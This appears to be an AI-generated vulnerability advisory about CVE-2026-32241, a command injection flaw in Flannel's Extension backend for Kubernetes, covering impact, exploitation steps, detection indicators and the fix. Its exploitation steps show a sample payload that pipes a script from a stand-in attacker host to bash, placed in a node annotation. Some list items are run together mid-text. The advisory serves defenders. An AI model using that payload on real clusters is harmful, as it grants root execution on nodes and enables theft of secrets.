
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-32241 is a command injection vulnerability in Flannel's experimental Extension backend, a network fabric for Kubernetes. It affects all Flannel versions prior to v0.28.2 and allows an attacker with the ability to set Kubernetes Node annotations to achieve root-level arbitrary command execution on every Flannel node in the cluster. The vulnerability was disclosed on March 27, 2026, and was reported by Shachar Tal from Palo Alto Networks. It carries a CVSS v3.1 base score of 8.8 (High) per NVD/Feedly data, or 7.5 (High) per the GitHub Security Advisory (GitHub Advisory, Feedly).
The root cause is improper neutralization of special elements used in a command (CWE-77 — Command Injection). The Extension backend's SubnetAddCommand and SubnetRemoveCommand receive attacker-controlled data via stdin, sourced from the flannel.alpha.coreos.com/backend-data Kubernetes Node annotation. This annotation content is unmarshalled and piped directly to a shell command without any sanitization or validation, enabling injection of arbitrary shell commands. Exploitation requires low privileges (the ability to write Kubernetes Node annotations) and no user interaction, making it accessible to any cluster user or service account with sufficient RBAC permissions (GitHub Advisory).
Successful exploitation grants root-level arbitrary command execution on every Flannel node running the Extension backend in the affected Kubernetes cluster. This results in complete compromise of all affected nodes — attackers can read sensitive data (including secrets and credentials), modify cluster configurations, disrupt cluster operations, and potentially pivot to other workloads or infrastructure. Only clusters using the experimental Extension backend are affected; clusters using vxlan or wireguard backends are not vulnerable (GitHub Advisory, Feedly).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of disclosure (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.00174, indicating a low probability of exploitation in the near term. However, the low attack complexity and the cluster-wide blast radius make it a high-priority issue for affected deployments.
net-conf.json ConfigMap in the kube-flannel namespace) for "Type": "extension".flannel.alpha.coreos.com/backend-data Node annotation. For example, embed a shell command such as ; curl http://attacker.com/shell.sh | bash; within the JSON value that Flannel will unmarshal and pipe to the shell.kubectl annotate node <node-name> flannel.alpha.coreos.com/backend-data='<malicious-payload>' or the Kubernetes API to apply the crafted annotation to one or more nodes.SubnetAddCommand or SubnetRemoveCommand with the attacker-controlled stdin data, executing the injected command as root.flannel.alpha.coreos.com/backend-data Node annotation, especially values containing shell metacharacters (;, |, $(), backticks, &&) or encoded payloads; audit log entries showing annotation patches from unusual users or service accounts.bash, sh, curl, wget, python, nc) on cluster nodes; processes running as root that are not expected from normal Flannel operation./tmp, /var/tmp, cron directories) created by the Flannel process or its children; presence of web shells, reverse shell scripts, or unauthorized SSH keys.SubnetAddCommand or SubnetRemoveCommand handlers (GitHub Advisory).The vulnerability is fixed in Flannel version v0.28.2, released March 27, 2026. All users running Flannel with the Extension backend should upgrade immediately (Flannel Release). As an immediate workaround, switch to a non-vulnerable backend such as vxlan or wireguard instead of the Extension backend. Additionally, implement strict Kubernetes RBAC controls to limit which users and service accounts can modify Node annotations, reducing the attack surface even before patching (GitHub Advisory, Feedly).
The vulnerability was credited to Shachar Tal from Palo Alto Networks, who reported it responsibly to the Flannel maintainers (GitHub Advisory). Community discussion appeared on Reddit's r/kubernetes under the title "CVE-2026-32241 Flannel RCE via Node Annotation," and technical write-ups were published on dev.to highlighting the unsanitized Node annotation attack path. Microsoft also acknowledged the vulnerability in their Security Response Center, as it affects their Azure Linux (azl3) Flannel package (Microsoft MSRC). OpenSUSE issued a security announcement for affected packages as well.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."